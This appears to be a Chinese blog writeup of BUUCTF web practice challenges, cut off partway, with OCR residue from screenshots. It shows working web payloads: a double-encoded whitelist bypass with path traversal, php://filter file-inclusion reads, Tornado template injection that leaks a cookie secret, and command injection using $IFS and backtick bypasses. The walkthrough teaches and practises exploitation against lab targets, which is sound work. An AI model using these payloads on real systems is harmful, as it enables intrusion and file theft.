## BUUCTF WEB writeup(持续更新)



## 1、Warmup

打开题目链接,得到一张图片,如下图:



此时先想到看这个网页的源代码,输入source.php即可得到源代码,如下图:



进入php代码审计,粗略看一下可以发现有file,所以我们要想办法得到file,首先先看与file有关的代码块:



看到中间发现需要前面创建的函数,所以我们返回去进行前面代码的审计,在白名单处能看到有两个文件,一个source.php、一个hint.php,我们先打开hint.php,可以看到如下字符:

← → C ▲ 不安全 | e4a59c29-7eb6-4494-986a-0997dd02d651.node3.buuoj.cn/hint.php
 ※ 西度 ● 海宝 ● 海宝 ● 末葉 ● 天猫 ● 苏宁易购 M Gmail ● YouTube ■ 地図 ● 翻译 ● flag not here, and flag in ffffllllaaaagggg

暂时不知道是干什么用的,返回去继续阅读,

```
\langle ?php
      highlight_file(__FILE__);
      class emmm
       -{
             public static function checkFile(&$page)
                     $whitelist = ["source"=>"source.php", "hint"=>"hint.php"]; 可以看见的白名单
                     if (! isset($page) || !is_string($page)) {
    echo "you can't see it";
                                                                     判断page非空以及是一个字符串
                           return false;
                     }
                     if (in_array($page, $whitelist)) {
                                                              判断page是否在白名单中
                            return true;
                     }
                     $_page = mb_substr(
                            $page,
                                                              新建一个_page变量,将page中的内容复制进入_page中
                            Ο,
                           mb_strpos($page . '?', '?')
                     )
                     if (in_array($_page, $whitelist)) {
                                                                判断_page是否在白名单中
                           return true:
                     }
                    $_page = urldecode($page);
$_page = mb_substr(
                                                          对page进行一次解码
                           $_page,
                            0,
                           mb_strpos($_page . '?', '?')
                                                                 取出解码后_page中? 前的值
                     ٦.
                     if (in_array($_page, $whitelist)) {
                           return true;
                                                             解码后的_page也要在白名单中
                     }
                     echo "you can't see it";
                     return false;
             - }
      }
      if (! empty($_REQUEST['file'])
             && is_string($_REQUEST['file'])
             && emmm::checkFile($_REQUEST['file'])
      ) {
             include $_REQUEST['file'];
             exit;
      } else {
             echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
      }
?>
```

https://blog.csdn.net/weixin 45813388

审计完发现,我们需要传入一个\$page,满足4个传入条件: page不为空且要是字符串;必须得在白名单中;截取page问号前的 内容也必须在白名单中; url解码之后的page的? 前内容也得在白名单中;所以开始构造url: 1、根据条件,必须得有?source.php;

2、因为url解码后的内容问号前的内容要在白名单中,所以php后面也要有一个问号,但在上传url时,会经过一次解码,所以我 们需要先将url经过二重编码,问号的一重是%3F,二重是%25%33%46;

3、然后只需要返回到服务器的根目录,再找到fffflllaaaagggg,即可获得flag;

```
<?php
       highlight_file(__FILE__);
       class emmm
       {
              public static function checkFile(&$page)
              -{
                     $whitelist = ["source"=>"source.php", "hint"=>"hint.php"];
                     if (! isset($page) || !is_string($page)) {
                            echo "you can't see it";
                            return false;
                     }
                     if (in_array($page, $whitelist)) {
                            return true;
                     }
                     $_page = mb_substr(
                            $page,
                            0,
                            mb_strpos($page . '?', '?')
                     ):
                     if (in_array($_page, $whitelist)) {
                            return true;
                     }
                     $_page = urldecode($page);
                     $_page = mb_substr(
                            $_page,
                            0,
                            mb_strpos($_page . '?', '?')
                     ):
                     if (in_array($_page, $whitelist)) {
                            return true;
                     -}
                     echo "you can't see it";
                     return false;
              }
       }
       if (! empty($_REQUEST['file'])
              && is_string($_REQUEST['file'])
              && emmm::checkFile($_REQUEST['file'])
       ) {
              include $_REQUEST['file'];
              exit;
       }
         else {
              echo "<br/>br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
?> flag{43effbd7-1993-4c4d-aee1-a7bda6631e50}
```

#### 2、[极客大挑战 2019]Havefun



直接F12看网页源码,发现要我们get一个cat的参数进入网页,并且参数值要为dog



https://blog.csdn.net/weixin\_45813388

在url中输入?cat=dog传入cat即可拿到flag



## 3、[极客大挑战 2019]Secret File

🕀 臺始臺PCW版 🕲 天氣輸造-理想生活上 😌 原东 🍝 新手上路 💶 天氣双11 💼 火風震方动き 💼 第用网社 🔟 原东菊城	3 移动设备上的书签
我把他们都放在这里了,去看看吧	
SECDET	
<u>SECREI</u>	
Suclover @ clau	at/waivin 45913399

### F12看到网页源码信息,发现SECRET可以点击

绝密档案 X	😸 base64解码_百度搜索	× 🕒 在线加密解密	x  +		- ø ×
(←) → 健 û	🚺 🔏 f248d033-ab78	-44fd-be5b-683dfe4bbdeb.n	ode3.buuoj.cn/Archive_room.php	影 … ☆	III\ 🗉 📽 ኳ 🥱 🤪 😑
◎ 爱海宝PC新版 ◎ 天猫精选・理想	生活上… 🕲 京东 🍯 新手上路	■ 天猫双11 📄 火狐官方站点 [	□ 常用网址 10 京东商城		]移动设备上的书签
			我把他们都放在这里了,去看看吧		
□ 注意器 □ 控制台 □ 掌	雨試器 1↓ 网络 【】样式编辑器	○○性能 ②:内存 吕存储	Secret Syclover @ cl.gu		ධ ··· ×
Q, 搜索 HTML				+ 🖋 🖓 过滤样式	回 布局 计算值 更改 字体 动画
htmL <html></html>				:hov.ds +	▽ 弹性盒 ^
<head> </head>	lack:"s			background-	选择一个弹性 (Flex) 容器或项目以继续。
				color: black;	▼ 网格
          				1	此页面上没有使用 CSS 网格
<pre>cbr&gt; cbr&gt; cbr&gt; cbr cbr cbr cbr cbr cbr cbr cbr cbr cbr</pre>	s;color:red;text-align:center;") 	⊞ Sjheight:S0pxjwidth:200pxjcolor:# 2	eeeeesisettistij5 ≣ ⊲oo		◆ 使性型
					1904-336.867 static 全裁理思報 box-tiling content-box display blocks float noneal position position static statew floation static statew floation static
END X	🔆 base64解码 百度搜索	<ul> <li>X C 在线加密解密</li> </ul>	x +		- a ×

(←) → C û 0	🔏 f248d033-ab78-4	44fd-be5b-683dfe4bl	deb.node3.buuc	oj.cn/end.php		iii ··· 公		lii\ E	0 8	<b>۹</b>	8	@ =
⑦ 爱海宝PC新版 ⑦ 天猫精选・理想生活上…	🖨 京东 🔸 新手上路 🚦	➡ 天猫双11 🗎 火狐官7	站点 📄 常用网址	JD 京东商城							] 移动设备	十上的书签
					<b>盒阅结束</b>							
					没看清么?回去再仔细看看吧。							
					Sudawar @ day							
				Tie 000 chmm	-						-	
	》 PSAG 【】 作求以制制服用	WITER UNIF E	仔循一下元律等	17-98 888 AMPH 18	19 1. 11	V 245-848-8		)上部/南	調いた	*#	U.	J )
<pre></pre>					T //	they ds + '	3 - 2845-6	口并且	920X	714	w)m	
<html></html>						元素白(	内联 油板	A24646 (Ela	1 straggsfirs	500.000		_
<pre>/neau&gt;</pre>						background-	204	I SHIE (Flex,	· 合于533(-9)	に日本人語語外	le	



发现两个php不同,一个是action.php,另一个是end.php,猜测是php代码中有设置定时自动跳转的部分,利用burp抓包,可以 看到action中的代码

🐕 Burp Suite Professional v1.5.18 - licensed to LarryLau - 🗆 🗙									
Burp Intruder Repeater Window Help	Burp Intruder Repeater Window Help								
Target Proxy Spider Scanner Intruder Repeater Sequencer Decode	r Comparer Extender Options Alerts								
Go       Cancel       Image: Transmitted in the	<pre>rrget: http://f248d033-ab78-44fd-be5b-683dfe4bbdeb.node3.buuoj.cn ? Response Raw Headers Hex HTML Render HTTP/1.1 302 Found Server: openresty Date: Fri, 06 Nov 2020 08:55:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 63 Connection: keep-alive Location: end.php X-Powered-By: PHP/7.3.11 </pre> (html>								
E ? < + > Type a search term 0 matches	? < + > Type a search term 0 matches								
Done	https://blog.csdp.pat/v270.bytes   26 millis								
	nupanbiog.oadn.new/eiximia010000								

看到包含了一个secr3t.php,在网页里修改url可以看到php代码

$ \cdots $	· · · · · · · · · · · · · · · · · · ·			
secret X	📸 base64解码_百度搜索 🛛 🕻 C 在线加密解密			– ø ×
↔ ∀ ↔	0 🛿 f248d033-ab78-44fd-be5b-683dfe4bbdeb.r	ode3. <b>buuoj.cn</b> /secr3t.php	2 … 公	li\ 🗉 📽 ኳ 🦘 🎯 😑 🗏
⑦ 爱淘宝PC新版 ⑦ 天猫精选・理想	生活上 🕤 京东 🌜 新手上路 🎦 天猫双11 📄 火狐官方站点	□ 常用网址 」D 京东商城		28动设备上的书签
<pre>Chtal&gt;</pre>	le> F-8"> ILE_); ;; ,/")  stristr(\$file, "tp")  stristr(\$file, "inpu no!";	t")  stristr(\$file, "data")){		

# 发现flag在flag.php中,看到上面还有一个include(flag.php),可以判断出是文件包含,利用php伪协议可以得到base64字符串,解码可以得到flag

< → ♂ ŵ	🛛 🖉 f248d033-ab78-44fd-be5b-683dfe4bbdeb.node3. <b>buuoj.cn</b> /secr3t.php	?file=php://filter/convert.base64-encode/re	source=flag.php	× ··· 🖒	lii\ 🗉 📽 ኳ 🦘 🤪 🖶 🗏
◎ 愛淘宝PC新版 ◎ 天猫精选・理想生	活上 🕲 京东 🔸 新手上路 🎞 天猫双11 📄 火狐官方站点 📄 常用网址 🎵 京东商城				] 移动设备上的书签
<pre>html&gt;</pre>	}} -8"> -8"> -E): - ")  stristr(\$file, "tp")  stristr(\$file, "input")  stristr(\$file, "d no!":	ata")) {			
CFET0NUWVBFIGh0bWw+0	Ggo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0F	SJ1dGYtOCI+CiAgICAgICAgPHRpdG>	dPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPg	oKICAgIDxib2R5IHN0eWxlF	2SJiYWNrZ3JvdW5kLWNvbG9yOmJsYW
미구수구.			BAGE CA.		
		1	DASE04.		
<idoctype html<br=""><html> <html> <html> <html> <body fo<br="" style="bi&lt;br&gt;&lt;h1 style=">ligh: 你找到我了! i align:center;"&gt; <?php echo "引 \$flag = \$flag = \$flag = flag = flag = \$flag = \$flag = flag = flag</body></html></html></html></html></idoctype>	>  ackground-color:black;"> >c/title> ackground-color:black;"> >chfamily:verdana;color:red;text-align:center;">啊 可是你看不到我QAQ~~~ >cbr> >tfamily:arial;color:red;font-size:20px;text- 我就在这里"; flag{650bfa8f-97c6-4798-bed8-1a4587e6f205); = "jiAng_Luyuan_w4nts_a_g1rlffi3nd"	BASE64编码 ≯ ◆ BASE64解码	PCFET0NUWVBFIGh0bWw+Cg ICAgICA8bWV0YSBjaGFyc2V0F XIPkZMQUc8L3RpdGxIPgogICAg WxIPSJiYWNrZ3JvdW5kLWNvb0 PGJyPjxicj48YnI+CiAgICAgICAg 250LWZhbWIseTp2ZXJkYW5h02 NIbnRlcjsiPuWViuWTiO+8geS9 S9oOeci+S4jeWIsOalkVFBUX54 CAgCiAgICAgICAgICAgCAgBC3 2NvbG9yOnJIZDtmb250LXNpemI RlcjsiPgogICAgICAgICAGCA8P3 obyAi5oiR5bCx52yo6L+Z6YeMIj D0gJ2ZsYWd7ODUwYmZhOGY1 ThmMjA1fSc7CiAgICAgICAgICAgICAg 0x1eXVhbI93NG50c19hX2cxckIn AgICAgICAgPC9wPgogICAgPC9	p8aHRtbD4KCiAglCA 2SJ1dGYtOCI+CiAgl PC9oZWFkPgoKICA 39yOmJSYWINrOyI+T CiAglCAglCAgPGgxl 2NvbG9yOnJIZDt0ZXF 0aJvuWIsOalkeS6hi fjwraDE+PGJyPjxicj U9ImZvbnQtZmFtaW J6MjBweDt0ZXh0LW BocAogICAglCAglCAglCA SKICAglCAgCAglCAglCA (OTdjNi00Nzk4LWJIZ glCAglCAkc2VjcmV0 ccmkzbmQnCiAglCA ib2R5PgoKPC9odG1	NaGVhZD4KICAg CAgICAgPHRpdG AgIDxib2R5IHN0e PGJyPjicij48YnI+ HN0eWxIPSJmb N0LWFsaWduOm u+8geWPr+aYr+ 48YnI+CiAgICAgI /x5OmFyaWFsO FsaWduOmNIbn AgICAgICAgZW/N gICAgICAgICAgZW/N gICAgICAgICAgID8+Ci IsPgo=
					n.net/weixin_45813388

## 4、[ACTF2020 新生赛]Include

打开附件得到以下页面

11																	
÷	- → C 🗘 ▲ 不安全   29410a/8-7e6a-4bc3-9fc3-c6a4ae6a56b8.node3.buug.cn 文 🏮											s :					
	应用	CSDN - 专业开	史 🧐 PTA   程序设	#美 👌 空谷	谷小莜蓝 💪	公众号 🎯 网易云音	乐 🛅 哔哩哔哩(*- *)つ	6 提索设置	🕨 时下流行 - YouTube	35 135編撮器官网-微	🞽 Gmail	YouTube	🕺 地图 🧰 🧃	資讯 🄄 翻译	FC 鱼C工作室-免费编	🚊 Chrome 网上应用	
tips	<u>s</u>																

点进tips发现是payload是 ?file=flag.php,但是没有任何东西,联想到题目的include,可以很清楚地知道是文件包含,利用 php伪协议 ?file=php://filter/convert.base64-encode/resource=flag.php 绕过得到base64编码,再解码即可得到flag

KZWNobyAiQ2FulHlvdSBmaW5klG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NjM4Y2QyZjEtY2MxMy00Y2E5LWE2YTMtZDE0MzU4NGFmY2FhfQo=	
base编码	
e16、base32、base64	
编码 base64 · 字符集 utf8(unicode编码) ·	
编码 解码	
cho "Can you find out the flag?": /flag{038cd2f1-cc13-4ca9-a0a3-d143584afcaa}	

## 5、[护网杯 2018]easy\_tornado

打开靶机,很直观有如下三个链接



#### 依次打开查看一下



flag in /fllllllllllag

https://blog.csdn.net/weixin\_45813388

#### flag藏在fllllllllag文件中



#### 给了个奇奇怪怪的文件render,暂时先不管



md5(cookie\_secret+md5(filename))

https://blog.csdn.net/weixin\_45813388

最后是一个hint,很明显的是一个MD5

紧接着我们看url栏里面由两部分构成,第一部分是文件名,第二部分是filehash,肯定不可能直接用/fillillillag来获得,但我们还 是可以试一试



## Error

嘿嘿,不出所料,得到一个error,看到msg,感觉应该是一个模板注入,写个 {{1+1}} 看看



#### 不行,没法运行出结果,再试试 {{1}}



发现是在报错的页面进行注入,	可以输出输入的指令,	但是感觉还是无从入手,	此时想到题目给的tornado,	百度一下看看,	芜
湖~					



Docs » Tornado Web Server

#### C Edit on GitHub

# 🧐 Tornado

Tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed. By using non-blocking network I/O, Tornado can scale to tens of thousands of open connections, making it ideal for long polling, WebSockets, and other applications that require a long-lived connection to each user.

#### **Quick links**

- Current version: 6.1 (download from PyPI, release notes)
- Source (GitHub)
- · Mailing lists: discussion and announcements
- Stack Overflow
- Wiki

### Hello, world

Here is a simple "Hello, world" example web app for Tornado:



This example does not use any of Tornado's asynchronous features: for that see this simple chat



<bound method ErrorHandler.render of < \_\_main\_\_.ErrorHandler object at 0x7f04ecbd0e50>>

不行,还是不能得到我们想要的结果,在经过一番尝试之后,我找到了这个

RequestHandler.settings

An alias for self.application.settings .

そ う C 合 企 不安全 | eb8ab4f3-8fef-49b0-916b-f46a42aefc12.node3.buuoj.cn/error?msg=([handler.settings])
詳 应用 C CSDN - 安迎开設… 

PTA | 程序設計美… 

公 公分 

6 网級三音、

2 かいていた 

3 ZNU-CTFOJ 

5 SL在线工具-SSL…

6 时下旅行 - YouTube 

13 135%組織官内-袋…

2 Gmail 

9 YouTube 

2 始の 

第 地図 

第 近 #理理理 (\*- ')つ…

9 BUUCTF

3 ZNU-CTFOJ

C SSL在线工具-SSL…

9 时下旅行 - YouTube 

13 135%組織官内-袋…

2 Gmail 

9 YouTube 

2 始の 

3 短いていた 

3 短いていた 

3 近 #理理理 (\*- ')つ…

9 BUUCTF

3 ZNU-CTFOJ

C SSL在线工具-SSL…

9 日 | 程序設計美…

3 公 公号

6 内級三音、

5 日 | 日本
6 日 | 日本
5 日 | 日本
6 日 | 日本
6 日 | 日本
7 日 | 日本

{'autoreload': True, 'compiled template cache': False, 'cookie secret': '288192ff-679e-4e89-95eb-76d53ac30f9d'}

找了挺久的,这个指令让我们找到了hint中所说的cookie\_secret然后就是要用hint中的另一个帮助了

	import hashlib
	hash = hashlib.md5()
	filename='/fllllllllllag'
	<pre>cookie_secret="288192ff-679e-4e89-95eb-76d53ac30f9d"</pre>
	hash.update(filename.encode('utf-8'))
	s1=hash.hexdigest()
	hash = hashlib.md5()
	<pre>hash.update((cookie_secret+s1).encode('utf-8'))</pre>
10	print(hash.hexdignt)

```
#python3
import hashlib
hash = hashlib.md5()
```

```
filename='/flllllllllllag'
cookie_secret="288192ff-679e-4e89-95eb-76d53ac30f9d"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
```



12c05aef4b4ba01da4737e984600848c

借助hint中的MD5加密,用python脚本跑一下就可以得到对应的filehash,最后构造下面的payload就能得到flag file?

filename=/fllllllllllllag&filehash=12c05aef4b4ba01da4737e984600848c



flag{faa2f54d-8b81-45d6-abbb-c0716ce94768}

## [GXYCTF2019]Ping Ping Ping

打开靶机,发现是一道很明显的命令注入题,



/?ip=

先输个ip没有问题,然后输一下ls,发现可以出来目录下的文件



可以看到目录下有flag和index两个文件,肯定是想直接得到flag,就用cat



emmm,太凶了,但是知道空格被绕过了,试一试 /\*\*/



还是不行,害~再换成 \${IFS}\$

$\leftarrow \ \rightarrow$	СÛ	▲ 不安全	2da1f577-f091-41bd	-9a12-d2638	3bb24e89.node	<b>3.buuoj.cn</b> /?ip=10;cat	{IFS}\$flag
11 应用	C CSDN ·	专业开发…	🌍 PTA   程序设计类	💪 公众号	🔞 网易云音乐	逆 哔哩哔哩( ゚- ゚)つ	🕖 BUUCTI

/?ip= 1fxck your symbol!

枯了枯了,再试试 \$IFS\$1



/?ip= fxck your flag!

flag又被过滤了... 这时候其实有两种解法, 解法一:是用内敛执行绕过,先摆上payload

?ip=10;cat\$IFS\$1`Is`

-											
+ 文 C 白 本 不安全   2da11577-091-41bd-9a12-d2638bb24e89.node3.buuojcn/?ip=10;ca1\$!F5\$116'											
👯 創用 🥻 CSDN - 专业开发 🤍 PTA   程序设计是 💪 公众号 🍯 网络云音乐 🗂 神理神理( - ウン 💚 BUNCTF 🚺 ZNU-CTFOI 🤇 SSLEWLTH, SSL 🕨 財万級行 - YouTube 👫 133編編書首用-@	😭 Gmail 🕨 YouTube 🎇 地图 🍙 资讯 🍓 翻译 📑 鱼C工作室-免费编 »										
/?ip= FING 10 (0.0.0.10): 56 data bytes	Image: Console         Console         Sources         Network         Performance         ≫         ↓         ↓										
<pre>/7zp- /rzp- /rsb/ pre_rzp-sht///i/\l\l\l\l\l\l\l\l\l\l\l\l\l\l\l\l\l\</pre>	<pre>'/ip- '/ip- '</pre>										

解法二: